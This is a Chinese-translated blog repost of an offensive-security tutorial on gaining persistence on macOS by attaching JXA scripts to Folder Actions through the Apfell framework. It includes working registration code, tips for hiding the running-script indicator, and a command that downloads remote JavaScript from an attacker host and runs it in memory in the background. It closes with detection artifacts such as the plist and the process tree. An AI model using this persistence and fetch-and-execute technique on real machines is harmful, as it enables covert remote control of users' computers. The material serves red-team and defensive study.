利用macOS 的 Folder Actions 功能实现持久化控制

2019-04-14 约 3807 字 预计阅读 8 分钟

声明:本文 【利用macOS 的 Folder Actions 功能实现持久化控制】 由作者 mss**** 于 2019-04-14 08:59:00 首发 先知社区 曾经 浏览数 108 次

感谢 mss**** 的辛苦付出!

原文地址:https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d?gi=a2d8f321ad82

与Windows平台相比,为macOS平台渗透测试介绍新型战术、技术和程序(TTP)的文章数要少得多。因此,本文将为读者详细介绍一种新型的方法:利用Apfell框架中的JavaScript for Automation(JXA)代理实现对macOS的持久控制。

我们知道,macOS提供了一种名为Folder Actions的功能,专门用于在用户定义的文件夹上触发执行AppleScript。据Apple的文档称:

“当相关的文件夹添加或删除项目时,或当打开、关闭、移动或调整其窗口大小时,就会执行Folder Action脚本。”

作为攻击者,这听起来非常神奇。一旦在关联的文件夹上触发了上述事件,系统就会自动替我们执行AppleScript文件。并且,脚本是在用户的上下文中执行的,即使您(攻击者)将文件夹操作的执行身份注册为root用户,也是如此。

那么,具体该如何操作呢?实际上,至少有三种方法:

  1. 使用Automator程序创建Folder Action工作流文件(.workflow),并将其安装为服务。
  2. 右键单击文件夹,选择“文件夹操作设置...”,“运行服务”,然后手动附加脚本。
  3. 使用OSAScript将Apple Event消息发送到System Events.app,以编程方式查询和注册新的Folder Action。

Apfell中,我使用的是第三种方法。需要注意的是,如果使用第二种方法,UI将自动限制您对/Library/Scripts/Folder Action Scripts和~/Library/Scripts/Folder Action Scripts中脚本的可见性。使用第三种方法的话,我们不仅可以将该脚本放到任意位置,并仍然可以引用它。

操作步骤

首先,我们需要一份编译好的OSAScript文件(.scpt)。幸运的是,我们可以通过AppleScript或JavaScript for Automation(JXA)实现这一点。在这里,我们选用后者。接下来,请打开脚本编辑器,并复制下列代码(用作简易的PoC):

var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /Users/itsafeature/Desktop/touched.txt");

将这个文件命名为disk_watching.scpt,然后,将其保存到您选定的目录即可。这样,我们就可以通过osascript folder_watching.scpt命令来运行这个脚本了。实际上,这个脚本的功能非常简单:将一个空文件写入/Users/itsafeature/Desktop/touched.txt。在我们运行的脚本中可以包含任何有效的OSAScript代码,但必须将其编译为.scpt格式。接下来,我们需要将这个脚本与一个文件夹的实际JXA代码关联起来。为此,我们需要执行以下操作:

var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "folder_watch.scpt", posixPath: "/Users/itsafeature/Desktop/folder_watch.scpt"});
var fa = se.FolderAction({name: "watched", path: "/Users/itsafeature/Desktop/watched"});
se.folderActions.push(fa);
fa.scripts.push(myScript);

在这个脚本中,我们执行了下列操作:

  • 打开了对System Events.app应用程序的引用。通过它,可以发送Apple事件(这只是在MacOS系统上进行进程间通信(IPC)的方式之一)。从MacOS10.14(Mojave)开始,第一次尝试将Apple事件从一个应用程序发送到另一个应用程序时,会弹出如下所示窗口:

macOS Mojave的Apple Event消息的标准弹出窗口

  • 该消息可以在System Preferences -> Security & Privacy -> Privacy中找到。我们通过Osascript执行操作时遇到的问题通常显示在左侧的Automation类别中。这个弹出窗口是在第一次出现一个新的Apple事件连接组合(即源和目标应用程序)时出现的。如果用户已经允许或禁用这个特定的源/目标组合,则不会弹出。在JXA中,如果用户禁用该功能,您将收到一条普通的Error消息:Error: An error occurred (-1743)。借助搜索引擎,我们发现系统不允许将AppleEvent发送给应用程序。如果您需要重置该消息,可以使用tccutil二进制文件重置这些权限,也可以在UI中切换这些权限。

Security & Privacy请求屏幕中显示的请求/请求的应用程序组合

  • 我们接下来要做的是启用folder actions功能。当然,该功能的作用范围通常有两种,其中,如果se.folderActionsEnabled = true,表示在系统范围内启用Folder Actions功能。一旦启用了该功能,就会单独为各个文件夹操作提供相应的启用/禁用功能。

  • 我们需要先创建一个Script对象。它只是指向我们的脚本所在的位置(它可以是任何目录)。

  • 然后,我们为watched文件夹注册一个文件夹操作(它通常位于/users/itsafeature/Desktop/watched中),并将其推送到已注册的文件夹操作列表中。

  • 这样,我们可以将用于该文件夹操作的脚本添加到文件夹操作列表中了。

如果您在UI中执行该操作,则会看到如下窗口:

文件夹操作设置窗口

需要注意的是,您可以将多个脚本与任何文件夹相关联,并且可以分别启用或禁用各个脚本。我们可以使用JXA查询这些相同的信息,以确保应用了这些文件夹操作,并查询现有的操作:

>> var se = Application("System Events");
=> undefined
>> se.folderActions.length;
=> 1
>> se.folderActions[0].properties();
=> {"path":"/Users/itsafeature/Desktop/watching", "enabled":true, "volume":"/", "class":"folderAction", "name":"watching"}
>> se.folderActions[0].scripts.length;
=> 1
>> se.folderActions[0].scripts[0].properties();
=> {"enabled":true, "path":"Macintosh HD:Users:itsafeature:Desktop:folder_watch.scpt", "posixPath":"/Users/itsafeature/Desktop/folder_watch.scpt", "class":"script", "name":"folder_watch.scpt"}

我们可以清楚地看到,相应的脚本已被附加并启用。接下来,我们需要做的最后一件事就是触发它。当然,我们可以通过多种方式触发该脚本,例如:

  1. 通过Finder UI打开文件夹
  2. 向文件夹中添加文件(可以通过拖放完成,甚至可以通过终端的shell命令完成)
  3. 从文件夹中删除文件(可以通过拖放完成,甚至可以提供终端的shell命令完成)
  4. 通过UI导航出文件夹

现在,为了实现持久控制,请确保将该脚本与一个文件夹相关联,并且该文件夹能根据您的需要定期触发文件夹操作。需要注意的是,最好不要与频繁使用的文件夹相关联(如用户的Documents文件夹,主目录或Downloads文件夹),除非您能设法避免自己被回调淹没。

同时,如果您让它长时间运行的话,顶部菜单栏中会出现一个图标,表示它正在处理某些内容,如果单击它,就可以看到脚本名称:

表明文件夹操作脚本正在运行的顶部条形图标

要解决这个问题,可以将您的任务作为后台作业运行,以便快速退出初始的.scpt文件。如果您希望在JXA中通过DoshellScript来实现这一点,那么需要设法让它作为后台任务运行。根据Apple的相关文档:

do shell script always calls /bin/sh. However, in macOS, /bin/sh is really bash emulating sh.

这意味着,如果希望在后台启动Apfall JXA payload,可以让编译后的脚本包含以下内容:

var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript(" osascript -l JavaScript -e \"eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString('http://192.168.205.151/api/v1.2/files/download/22')),$.NSUTF8StringEncoding)));\" &> /dev/null &");

其中的关键部分是shell命令的结尾:&>/dev/null &,该命令将访问URL http://192.168.205.151/API/v1.2/files/download/22,下载文件,并将其作为后台任务在内存中运行。

与我们通过终端执行JXA来设置文件夹操作实现持久性控制不同,如果实现持久性控制的JXA代码是直接执行的,并且将Apple事件发送到其他应用程序的话,那么弹出窗口将略有不同。这时,我们将在FolderActionsDispatcher的上下文中执行:

FolderActionsDispatcher请求控制Finder.app

只有将Apple事件发送到其他应用程序时,这才会起作用。如果使用shell脚本或利用JXA-Objective C桥来调用本机Objective C API,则不会出现这些弹出窗口或问题。

下面是一个简单的示例,为读者展示了如何获得APFELL-JXA payload:

生成APFELL-JXA payload的Folder Action

 结束语

与大多数与macOS相关的配置一样,该功能也有一个对应的plist,其中存放了所有的相关信息,它位于~/Library/Preferences/com.apple.FolderActionsDispatcher.plist。其中,这个plist包含一组递归的base64编码二进制plist,解码后可以看到,其中存放的是UI和JXA中显示的信息。

根据Richie Cyrus的介绍,在使用xnumon考察该功能的父进程层次结构时,可以看到:

  • /usr/libexec/xpcproxy 生成了 /SystemLibrary/CoreServices/ScriptMonitor.app/Contents/MacOS/ScriptMonitor
  • /System/Library/Frameworks/Foundation.framework/Versions/C/XPCServices/com.apple.foundation.UserScriptService.xpc/Contents/MacOS/com.apple.foundation.UserScriptService 生成了 /usr/bin/osascript -sd -E -P /users/itsafeature/Desktop/folder_watch.scpt

这是初始执行链的末尾;但是,既然我们在JXA中使用了doShellScript功能(或者在AppleScript中使用shell脚本),那么实际上已经通过sh -c进程来执行touch命令。具体来说,`/System/Library/Frameworks/Foundation.framework/Versions/C/XPCServices/com.apple.foundation.UserScriptService.xpc/Contents/MacOS/com.apple.foundation.UserScriptService`将生成子进程`sh -c touch /Users/itsafeature/Desktop/touched.txt`。

关键词:[‘技术文章’, ‘技术文章’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now